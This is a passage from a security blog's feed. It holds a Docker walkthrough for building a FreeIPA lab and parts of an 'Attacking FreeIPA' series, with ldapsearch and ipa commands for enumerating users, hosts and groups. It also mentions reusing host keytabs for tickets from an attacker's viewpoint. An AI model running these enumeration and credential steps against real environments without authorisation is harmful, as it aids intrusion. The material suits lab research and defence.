&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;720&quot; height=&quot;43&quot; src=&quot;/assets/specterops/2020/06/1Ba3NdoiAeWHOHHEZ68BTqw.png&quot; alt=&quot;&quot; class=&quot;wp-image-21163&quot; srcset=&quot;/assets/specterops/2020/06/1Ba3NdoiAeWHOHHEZ68BTqw.png 720w, /assets/specterops/2020/06/1Ba3NdoiAeWHOHHEZ68BTqw.png?resize=300,18 300w&quot; sizes=&quot;auto, (max-width: 720px) 100vw, 720px&quot; /&gt;&lt;figcaption class=&quot;wp-element-caption&quot;&gt;New agent check-in from vault.westeros.local&lt;/figcaption&gt;&lt;/figure&gt;



&lt;h2 class=&quot;wp-block-heading&quot; id=&quot;4a39&quot;&gt;Conclusion&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;59d5&quot;&gt;Despite this lab environment being a small and slightly contrived example of production FreeIPA environment, it effectively demonstrates how to enumerate permissions and utilize those permissions to conduct lateral movement. Hopefully by now we have a slightly better understanding of how to apply some of our prior knowledge about FreeIPA in an offensive context.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;df8f&quot;&gt;In the final post of this series I will aim to cover the following:&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;An overview of some unique scenarios that attackers can abuse inside of a FreeIPA environment.&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;



&lt;h2 class=&quot;wp-block-heading&quot; id=&quot;2902&quot;&gt;References&lt;/h2&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;Defining Host-Based Access control Rules, Fedora,&amp;nbsp;&lt;a href=&quot;https://docs.fedoraproject.org/en-US/Fedora/15/html/FreeIPA_Guide/hbac-rules.html&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;https://docs.fedoraproject.org/en-US/Fedora/15/html/FreeIPA_Guide/hbac-rules.html&lt;/a&gt;&lt;/li&gt;



&lt;li&gt;Defining Sudo-Rules, Fedora,&amp;nbsp;&lt;a href=&quot;https://docs.fedoraproject.org/en-US/Fedora/18/html/FreeIPA_Guide/defining-sudorules.html&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;https://docs.fedoraproject.org/en-US/Fedora/18/html/FreeIPA_Guide/defining-sudorules.html&lt;/a&gt;&lt;/li&gt;



&lt;li&gt;Docker, FreeIPA,&amp;nbsp;&lt;a href=&quot;https://www.freeipa.org/page/Docker&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;https://www.freeipa.org/page/Docker&lt;/a&gt;&lt;/li&gt;



&lt;li&gt;FreeIPA Container, Github,&amp;nbsp;&lt;a href=&quot;https://github.com/freeipa/freeipa-container&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;https://github.com/freeipa/freeipa-container&lt;/a&gt;&lt;/li&gt;



&lt;li&gt;FreeIPA Server, DockerHub,&amp;nbsp;&lt;a href=&quot;https://hub.docker.com/r/freeipa/freeipa-server/&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;https://hub.docker.com/r/freeipa/freeipa-server/&lt;/a&gt;&lt;/li&gt;



&lt;li&gt;MIT Kerberos Documentation, MIT,&amp;nbsp;&lt;a href=&quot;https://web.mit.edu/kerberos/krb5-latest/doc/&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;https://web.mit.edu/kerberos/krb5-latest/doc/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Mon, 01 Jun 2020 00:00:00 +0000</pubDate>
        <link>https://blog.n0pe-sled.com/2020/06/01/attacking-freeipa-part-iii-finding-a-path/</link>
        <guid isPermaLink="true">https://blog.n0pe-sled.com/2020/06/01/attacking-freeipa-part-iii-finding-a-path/</guid>
        
        <category>FreeIPA</category>
        
        <category>Kerberos</category>
        
        <category>Attack-Paths</category>
        
        
      </item>
    
      <item>
        <title>Building a FreeIPA Lab</title>
        <description>&lt;p class=&quot;wp-block-paragraph&quot;&gt;Recently I started a series of blog posts detailing some of the lessons I learned about FreeIPA, how it works, and my methodology behind attacking it. In this post I wanted to document how I built a lab to conduct my research, because the process was a huge learning experience for me. If you want to checkout the other posts from that series I will link them below:&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;The first post&lt;/a&gt; details how authentication works inside of FreeIPA, and how an adversary may abuse it inside of a production environment.&lt;/li&gt;



&lt;li&gt;&lt;a href=&quot;https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;The second post&lt;/a&gt; details how various objects and structures in FreeIPA work as well as how they interact with each other. It also covers how an adversary may enumerate and identify attack paths based on these objects.&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Having a lab environment provides a safe space to deploy, learn, and ultimately destroy hosts without the consequences that would normally come from researching in production. The process to build and deploy FreeIPA is not simple, and there are a lot of roadblocks that I hit along the way. I am creating this post to document the struggles I encountered, and how I eventually solved them. Hopefully this helps others who have run into issues creating a stable FreeIPA lab environment.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Before we get into the actual lab setup process let me document my current system configuration. This small detail may not seem important but the setup does vary based on the host os and virtualization platform. I am building this lab on a host running MacOS Catalina 10.15.4, and Docker Desktop 2.3.0.2 (Engine 19.03.8).&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Okay so let’s get started. Red Hat maintains several docker images prebuilt for both FreeIPA servers, and clients available on &lt;a href=&quot;https://hub.docker.com/r/freeipa/freeipa-server/&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;dockerhub&lt;/a&gt;. They also include some documentation on getting everything running. However, for this tutorial I will be using a forked version of the existing images due to the existing images lacking SSH.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;First let’s grab and build the containers from Github.&lt;/p&gt;



&lt;pre class=&quot;wp-block-code has-lightpurple-background-color has-background&quot;&gt;&lt;code&gt;git clone &lt;a href=&quot;https://github.com/n0pe-sled/freeipa-container.git&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;https://github.com/n0pe-sled/freeipa-container.git&lt;/a&gt;
cd freeipa-container
docker build -t freeipa-server .&lt;/code&gt;&lt;/pre&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Once the container is built we need to create a docker managed volume to store all the custom data associated with our FreeIPA Server. We can create this volume with the following command:&lt;/p&gt;



&lt;pre class=&quot;wp-block-code has-lightpurple-background-color has-background&quot;&gt;&lt;code&gt;docker volume create --name ipa
docker volume inspect ipa&lt;/code&gt;&lt;/pre&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Next we need to create a network inside of Docker for the FreeIPA range to utilize:&lt;/p&gt;



&lt;pre class=&quot;wp-block-code has-lightpurple-background-color has-background&quot;&gt;&lt;code&gt;docker network create ipanet
docker inspect ipanet&lt;/code&gt;&lt;/pre&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Now we should be able to create our FreeIPA Server using the pulled image, and our docker volume:&lt;/p&gt;



&lt;pre class=&quot;wp-block-code has-lightpurple-background-color has-background&quot;&gt;&lt;code&gt;sudo docker run --name ipa.westeros.local -ti -h ipa.westeros.local --sysctl net.ipv6.conf.all.disable_ipv6=0 -v /sys/fs/cgroup:/sys/fs/cgroup:ro --mount source=ipa,target=/data --network ipanet --publish 127.0.0.1:443:443 freeipa-server:latest&lt;/code&gt;&lt;/pre&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;If everything works you should see output fairly similar to the following:&lt;/p&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;720&quot; height=&quot;361&quot; src=&quot;/assets/specterops/2020/05/1stzS3RUIv4Uccgh8HnN3qw.png&quot; alt=&quot;&quot; class=&quot;wp-image-21168&quot; srcset=&quot;/assets/specterops/2020/05/1stzS3RUIv4Uccgh8HnN3qw.png 720w, /assets/specterops/2020/05/1stzS3RUIv4Uccgh8HnN3qw.png?resize=300,150 300w&quot; sizes=&quot;auto, (max-width: 720px) 100vw, 720px&quot; /&gt;&lt;figcaption class=&quot;wp-element-caption&quot;&gt;FreeIPA Server Installation&lt;/figcaption&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Now that the container is running we need to configure the actual server. Here is how I responded to the installation prompts:&lt;/p&gt;



&lt;pre class=&quot;wp-block-code has-lightpurple-background-color has-background&quot;&gt;&lt;code&gt;Do you want to configure integrated DNS (BIND)? : noEnter the fully qualified domain name of the computer
on which you&apos;re setting up server software. Using the form
&amp;lt;hostname&gt;.&amp;lt;domainname&gt;
Example: master.example.com.
Server host name &amp;#91;ipa.westeros.local]: ipa.westeros.localPlease confirm the domain name &amp;#91;westeros.local]: westeros.localPlease provide a realm name &amp;#91;WESTEROS.LOCAL]: WESTEROS.LOCAL
Certain directory server operations require an administrative user.This user is referred to as the Directory Manager and has full access to the Directory for system management tasks and will be added to theinstance of directory server created for IPA.
The password must be at least 8 characters long.Directory Manager password: &amp;lt;password&gt;
Password (confirm): &amp;lt;password&gt;The IPA server requires an administrative user, named &apos;admin&apos;.
This user is a regular system account used for IPA server administration.IPA admin password: &amp;lt;password&gt;
Password (confirm): &amp;lt;password&gt;Do you want to configure chrony with NTP server or pool address? &amp;#91;no]: noThe IPA Master Server will be configured with:Hostname: ipa.westeros.local
IP address(es): 172.18.0.2
Domain name: westeros.local
Realm name: WESTEROS.LOCALThe CA will be configured with:
Subject DN: CN=Certificate Authority,O=WESTEROS.LOCAL
Subject base: O=WESTEROS.LOCAL
Chaining: self-signed&lt;/code&gt;&lt;/pre&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Once all the prompts are completed the docker container will begin the setup process for the FreeIPA server. This may take some time so grab a coffee, stretch, or just take a break. Make sure to remember the admin passwords set above, as well as the IP Address reported under the hostname.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;After the installation finishes open a new terminal window and restart the instance:&lt;/p&gt;



&lt;pre class=&quot;wp-block-code has-lightpurple-background-color has-background&quot;&gt;&lt;code&gt;docker stop ipa.westeros.local
docker start ipa.westeros.local&lt;/code&gt;&lt;/pre&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Once restarted, lets begin configuring DNS. Obtain an interactive shell to ipa.westeros.local with the following docker command:&lt;/p&gt;



&lt;pre class=&quot;wp-block-code has-lightpurple-background-color has-background&quot;&gt;&lt;code&gt;docker exec -it ipa.westeros.local bash&lt;/code&gt;&lt;/pre&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Inside the shell run the following to configure DNS:&lt;/p&gt;



&lt;pre class=&quot;wp-block-code has-lightpurple-background-color has-background&quot;&gt;&lt;code&gt;ipa-dns-install --ip-address=172.18.0.2 --no-forwardersThe log file for this installation can be found in /var/log/ipaserver-install.log==============================================================================This program will setup DNS for the FreeIPA Server.
This includes:
* Configure DNS (bind)
* Configure SoftHSM (required by DNSSEC)
* Configure ipa-dnskeysyncd (required by DNSSEC)NOTE: DNSSEC zone signing is not enabled by defaultTo accept the default shown in brackets, press the Enter key.
Do you want to search for missing reverse zones? &amp;#91;yes]: yesThe following operations may take some minutes to complete.
Please wait until the prompt is returned.&lt;/code&gt;&lt;/pre&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;After a few minutes it should report setup complete! Now that our server is up and running let’s verify that we can obtain a ticket for our admin user:&lt;/p&gt;



&lt;pre class=&quot;wp-block-code has-lightpurple-background-color has-background&quot;&gt;&lt;code&gt;&amp;#91;root@ipa /]# kinit admin
Password for admin@WESTEROS.LOCAL:&amp;#91;root@ipa /]# klist
Ticket cache: FILE:/tmp/krb5cc_0
Default principal: admin@WESTEROS.LOCALValid starting Expires Service principal
05/11/20 19:37:56 05/12/20 19:37:53
krbtgt/WESTEROS.LOCAL@WESTEROS.LOCAL
&amp;#91;root@ipa /]#&lt;/code&gt;&lt;/pre&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Awesome, we just built a working FreeIPA server with integrated DNS. Let’s add a client. Open a fresh terminal window and return to the FreeIPA Container code we cloned from Github earlier. Use git checkout to switch the branch to the client image, and build it using the following commands:&lt;/p&gt;



&lt;pre class=&quot;wp-block-code has-lightpurple-background-color has-background&quot;&gt;&lt;code&gt;git checkout centos-7-client
docker build -t freeipa-client .&lt;/code&gt;&lt;/pre&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Once built we can create a new client for our FreeIPA domain. For each client we create, we also need to create a respective docker volume to store data associated with the container. We can do that with the following command:&lt;/p&gt;



&lt;pre class=&quot;wp-block-code has-lightpurple-background-color has-background&quot;&gt;&lt;code&gt;docker volume create bastion&lt;/code&gt;&lt;/pre&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Now that the volume is created we can start creating the new client. However, before we continue take time to recall the admin password, and the ip address for the IPA server set above. Ensure that you change the following variables before running the docker command:&lt;/p&gt;



&lt;pre class=&quot;wp-block-code has-lightpurple-background-color has-background&quot;&gt;&lt;code&gt;-e PASSWORD=&amp;lt;password set above&gt;
--dns=&amp;lt;IPA Server IP Address&gt;
--mount source=&amp;lt;name of new volume created&gt;,target=/data&lt;/code&gt;&lt;/pre&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Fill in those three variables to the docker run command below to create a new client inside of the FreeIPA Domain.&lt;/p&gt;



&lt;pre class=&quot;wp-block-code has-lightpurple-background-color has-background&quot;&gt;&lt;code&gt;sudo docker run --name bastion.westeros.local -ti -h bastion.westeros.local --sysctl net.ipv6.conf.all.disable_ipv6=0 -v /sys/fs/cgroup:/sys/fs/cgroup:ro --mount source=&amp;lt;name of volume created&gt;,target=/data -e PASSWORD=&amp;lt;Password set earlier&gt; --network ipanet --dns &amp;lt;IPA Server IP Address&gt; --dns 1.1.1.1 freeipa-client:latest&lt;/code&gt;&lt;/pre&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;If all goes well you should be dropped into an interactive shell! Just repeat the steps above to create new clients for your FreeIPA domain, ensuring to change the name, hostname, and volume for each one.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Finally, now that the environment is setup lets discuss how to utilize the administrative web application to manage this environment. Earlier while creating the FreeIPA server we published port 443 from the server to 127.0.0.1:443 specifically to enable this functionality. In a new terminal window the following line to the /etc/hosts file:&lt;/p&gt;



&lt;pre class=&quot;wp-block-code has-lightpurple-background-color has-background&quot;&gt;&lt;code&gt;127.0.0.1 ipa.westeros.local&lt;/code&gt;&lt;/pre&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;With that entry, and the IPA server docker container running we should be able to login to the admin interface through any web browser.&lt;br&gt;&lt;a href=&quot;https://medium.com/@n0pe_sled?source=post_page---byline--17f3f52cd8d9---------------------------------------&quot;&gt;&lt;/a&gt;&lt;/p&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;720&quot; height=&quot;370&quot; src=&quot;/assets/specterops/2020/05/1G3uJb-dHcOSL6QpqMD25Zw.png&quot; alt=&quot;&quot; class=&quot;wp-image-21170&quot; srcset=&quot;/assets/specterops/2020/05/1G3uJb-dHcOSL6QpqMD25Zw.png 720w, /assets/specterops/2020/05/1G3uJb-dHcOSL6QpqMD25Zw.png?resize=300,154 300w&quot; sizes=&quot;auto, (max-width: 720px) 100vw, 720px&quot; /&gt;&lt;figcaption class=&quot;wp-element-caption&quot;&gt;Login to the FreeIPA web application&lt;br&gt;&lt;/figcaption&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;864f&quot;&gt;Hopefully this post can help serve as a guide to get more people researching this technology!&lt;a href=&quot;https://medium.com/tag/freeipa?source=post_page-----17f3f52cd8d9---------------------------------------&quot;&gt;&lt;/a&gt;&lt;/p&gt;
</description>
        <pubDate>Thu, 14 May 2020 00:00:00 +0000</pubDate>
        <link>https://blog.n0pe-sled.com/2020/05/14/building-a-freeipa-lab/</link>
        <guid isPermaLink="true">https://blog.n0pe-sled.com/2020/05/14/building-a-freeipa-lab/</guid>
        
        <category>FreeIPA</category>
        
        <category>Lab</category>
        
        <category>Containers</category>
        
        
      </item>
    
      <item>
        <title>Attacking FreeIPA — Part II: Enumeration</title>
        <description>&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;6dde&quot;&gt;In Part I of this series, we reviewed some of the background and underlying technologies utilized by FreeIPA. We also discussed several authentication mechanisms, and forms of credential material, specifically how to identify, parse, and re-use credentials as an attacker. If you haven’t read Part I yet, you can find it here:&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;090b&quot;&gt;In this section of the series, we will dive into a custom lab environment to demonstrate how various objects and structures in FreeIPA work as well as how they interact with each other. We will then learn how to enumerate these structures.&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot; id=&quot;e8a3&quot;&gt;Lab Environment&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;e685&quot;&gt;Before we dive in, let’s take a moment to briefly review how the lab environment was created, and its general structure.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image size-large&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;720&quot; height=&quot;521&quot; src=&quot;/assets/specterops/2019/12/1GTaaqMp6Y3xH1gzqWmy9eg.png?w=720&quot; alt=&quot;&quot; class=&quot;wp-image-21174&quot; srcset=&quot;/assets/specterops/2019/12/1GTaaqMp6Y3xH1gzqWmy9eg.png 720w, /assets/specterops/2019/12/1GTaaqMp6Y3xH1gzqWmy9eg.png?resize=300,217 300w&quot; sizes=&quot;auto, (max-width: 720px) 100vw, 720px&quot; /&gt;&lt;figcaption class=&quot;wp-element-caption&quot;&gt;Diagram Detailing the Layout of the FreeIPA Lab Environment&lt;/figcaption&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;ff97&quot;&gt;The diagram above is a general layout of the FreeIPA Lab environment I built for this series, and have been utilizing for research. The team behind FreeIPA maintains docker images for both FreeIPA servers, and clients across multiple popular operating systems. You can find these docker images on Dockerhub or Github at the links below:&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://hub.docker.com/r/freeipa/freeipa-server/&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;https://hub.docker.com/r/freeipa/freeipa-server/&lt;/a&gt;&lt;/li&gt;



&lt;li&gt;&lt;a href=&quot;https://github.com/freeipa/freeipa-container&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;https://github.com/freeipa/freeipa-container&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;e714&quot;&gt;All of the documentation, and setup instructions can be found on the main FreeIPA site linked below:&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://www.freeipa.org/page/Docker&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;https://www.freeipa.org/page/Docker&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;552a&quot;&gt;Our starting point in this exercise will be ceded access to a compromised web server inside the managed FreeIPA environment. The goal is to ultimately obtain an admin credential for the domain, and ex-filtrate sensitive data from the SQL Database. Before we can dive into those objectives, let’s go through some basic objects and enumeration techniques inside of FreeIPA environments.&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot; id=&quot;4b3b&quot;&gt;Hosts, Users, and Groups&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;f453&quot;&gt;Much like Windows Active Directory (AD), FreeIPA allows administrators to create hosts, and users. These hosts, and users can be sorted into containers called “Host Groups” and “User Groups” respectively. When compared to AD these groups function very similarly to Organizational Units (OU).&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;53ce&quot;&gt;Host-Based Access Control Rules (HBAC-Rules), Privileges, Roles, and Sudo-Rules can be applied to any of the objects above. Don’t worry if you aren’t familiar with HBAC-Rules, Privileges, Roles, or Sudo-Rules. We will be diving into those a little later in the post.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;dbc1&quot;&gt;There are multiple ways to enumerate information from the IPA server about the domain. The two methods I will attempt to cover throughout this post will be the following:&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;Utilizing Lightweight Directory Access Protocol (LDAP) queries against the LDAP server.&lt;/li&gt;



&lt;li&gt;Utilizing built-in IPA management tools&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;afc2&quot;&gt;With that background let’s dive into the lab and start enumerating users, hosts, user groups, and hostgroups inside of FreeIPA.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;e271&quot;&gt;&lt;strong&gt;Enumeration via LDAP Queries&lt;/strong&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;bc24&quot;&gt;By default in FreeIPA, the LDAP server allows for anonymous binds, and a large swath of data is enumerable unauthenticated. However, not all of the data is enumerable unauthenticated. Data responsible for mapping security authorization controls has been explicitly protected by ACLs. The following command will retrieve all of the data available unauthenticated:&lt;/p&gt;



&lt;pre class=&quot;wp-block-code has-lightpurple-background-color has-background&quot;&gt;&lt;code&gt;ldapsearch -x &lt;/code&gt;&lt;/pre&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;eaec&quot;&gt;For the rest of this post all of the ldapsearch commands will be done authenticated. In the first post of this series we detail how to identify and utilize credentials in a FreeIPA environment.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;2178&quot;&gt;With a valid credential, we can be more specific and filter our query by setting targeted base distinguished names (DN) for each search. The following query identifies all the users in the lab environment:&lt;/p&gt;



&lt;pre class=&quot;wp-block-code has-lightpurple-background-color has-background&quot;&gt;&lt;code&gt;ldapsearch -Y gssapi -b &quot;cn=users,cn=compat,dc=westeros,dc=local&quot;&lt;/code&gt;&lt;/pre&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;720&quot; height=&quot;873&quot; src=&quot;/assets/specterops/2019/12/12Hj1fuwDm7DdDON8GlvmxA.png&quot; alt=&quot;&quot; class=&quot;wp-image-21176&quot; srcset=&quot;/assets/specterops/2019/12/12Hj1fuwDm7DdDON8GlvmxA.png 720w, /assets/specterops/2019/12/12Hj1fuwDm7DdDON8GlvmxA.png?resize=247,300 247w&quot; sizes=&quot;auto, (max-width: 720px) 100vw, 720px&quot; /&gt;&lt;figcaption class=&quot;wp-element-caption&quot;&gt;LDAP response data details users inside the lab environment&lt;/figcaption&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;353c&quot;&gt;We can use the same query with a slightly modified base DN to retrieve data for all the hosts in the environment:&lt;/p&gt;



&lt;pre class=&quot;wp-block-code has-lightpurple-background-color has-background&quot;&gt;&lt;code&gt;ldapsearch -Y gssapi -b 
&quot;cn=computers,cn=accounts,dc=westeros,dc=local&quot;&lt;/code&gt;&lt;/pre&gt;



&lt;figure class=&quot;wp-block-image size-large&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; height=&quot;1024&quot; width=&quot;701&quot; src=&quot;/assets/specterops/2019/12/14ZuRwpzYht252cJXse9WMg.png?w=701&quot; alt=&quot;&quot; class=&quot;wp-image-21177&quot; srcset=&quot;/assets/specterops/2019/12/14ZuRwpzYht252cJXse9WMg.png 720w, /assets/specterops/2019/12/14ZuRwpzYht252cJXse9WMg.png?resize=205,300 205w, /assets/specterops/2019/12/14ZuRwpzYht252cJXse9WMg.png?resize=701,1024 701w&quot; sizes=&quot;auto, (max-width: 701px) 100vw, 701px&quot; /&gt;&lt;figcaption class=&quot;wp-element-caption&quot;&gt;LDAP response data details hosts inside the lab environment&lt;/figcaption&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;0dff&quot;&gt;Again, we can modify the base DN to retrieve each host group and user group respectively:&lt;/p&gt;



&lt;pre class=&quot;wp-block-code has-lightpurple-background-color has-background&quot;&gt;&lt;code&gt;ldapsearch -Y gssapi -b 
&quot;cn=hostgroups,cn=accounts,dc=westeros,dc=local&quot;                               
--------------------------------------------------------------------
ldapsearch -Y gssapi -b &quot;cn=groups,cn=accounts,dc=westeros,dc=local&quot;&lt;/code&gt;&lt;/pre&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;46b2&quot;&gt;&lt;strong&gt;Enumeration via IPA administrative tools&lt;/strong&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;fca8&quot;&gt;By default hosts enrolled into a FreeIPA domain have the IPA management tooling installed as part of the enrollment process. This tooling is incredibly useful for enumeration and configuration of the environment. As we discussed above let’s review how to enumerate information about users, hosts, user groups, and host groups with the builtin IPA administrative tooling.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;5dfd&quot;&gt;Unfortunately, the IPA tooling cannot be used without a valid domain credential. If you find yourself in a situation where you are lacking a valid domain credential, each host is deployed with a keytab credential for that host. This keytab can be used to obtain a valid Credential Cache(CCACHE) Ticket Granting Ticket(TGT) for the host itself.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;4629&quot;&gt;With a valid credential and access to the ipa utility, you can use the following commands to enumerate the relevant information:&lt;/p&gt;



&lt;pre class=&quot;wp-block-code has-lightpurple-background-color has-background&quot;&gt;&lt;code&gt;ipa user-find
ipa usergroup-find
ipa host-find
ipa host-group-find
-------------------
ipa user-show &amp;lt;username&gt; --all
ipa usergroup-show &amp;lt;user group&gt; --all
ipa host-find &amp;lt;host&gt; --all
ipa hostgroup-show &amp;lt;host group&gt; --all&lt;/code&gt;&lt;/pre&gt;



&lt;h2 class=&quot;wp-block-heading&quot; id=&quot;482b&quot;&gt;HBAC-Rules&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;43c6&quot;&gt;The&amp;nbsp;&lt;a href=&quot;https://docs.fedoraproject.org/en-US/Fedora/15/html/FreeIPA_Guide/hbac-rules.html&quot; rel=&quot;noreferrer noopener&quot; target=&quot;_blank&quot;&gt;Fedora FreeIPA documentation&lt;/a&gt;&amp;nbsp;defines HBAC-Rules as:&lt;/p&gt;



&lt;blockquote class=&quot;wp-block-quote is-layout-flow wp-block-quote-is-layout-flow&quot;&gt;
&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;f6df&quot;&gt;Access controls, at a high level, define&amp;nbsp;&lt;em&gt;who&lt;/em&gt;&amp;nbsp;has access to&amp;nbsp;&lt;em&gt;what&lt;/em&gt;. The&amp;nbsp;&lt;em&gt;who&lt;/em&gt;&amp;nbsp;can be either a user or a host (the source host), and the&amp;nbsp;&lt;em&gt;what&lt;/em&gt;&amp;nbsp;can be either a host (target host), service, or service group, or a combination of the three.&lt;/p&gt;
&lt;/blockquote&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;4315&quot;&gt;HBAC-Rules should be used to delegate access to specific resources. This access control can be extremely effective at mitigating lateral movement, when configured correctly. As an attacker we can use HBAC-Rules to identify which accounts have been delegated access to specific resources inside of the environment.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;1af1&quot;&gt;Let’s review how to enumerate these policies.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;3419&quot;&gt;&lt;strong&gt;Enumeration via LDAP Queries&lt;/strong&gt;HBAC-Rules&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;43c6&quot;&gt;The&amp;nbsp;&lt;a href=&quot;https://docs.fedoraproject.org/en-US/Fedora/15/html/FreeIPA_Guide/hbac-rules.html&quot; rel=&quot;noreferrer noopener&quot; target=&quot;_blank&quot;&gt;Fedora FreeIPA documentation&lt;/a&gt;&amp;nbsp;defines HBAC-Rules as:&lt;/p&gt;



&lt;blockquote class=&quot;wp-block-quote is-layout-flow wp-block-quote-is-layout-flow&quot;&gt;
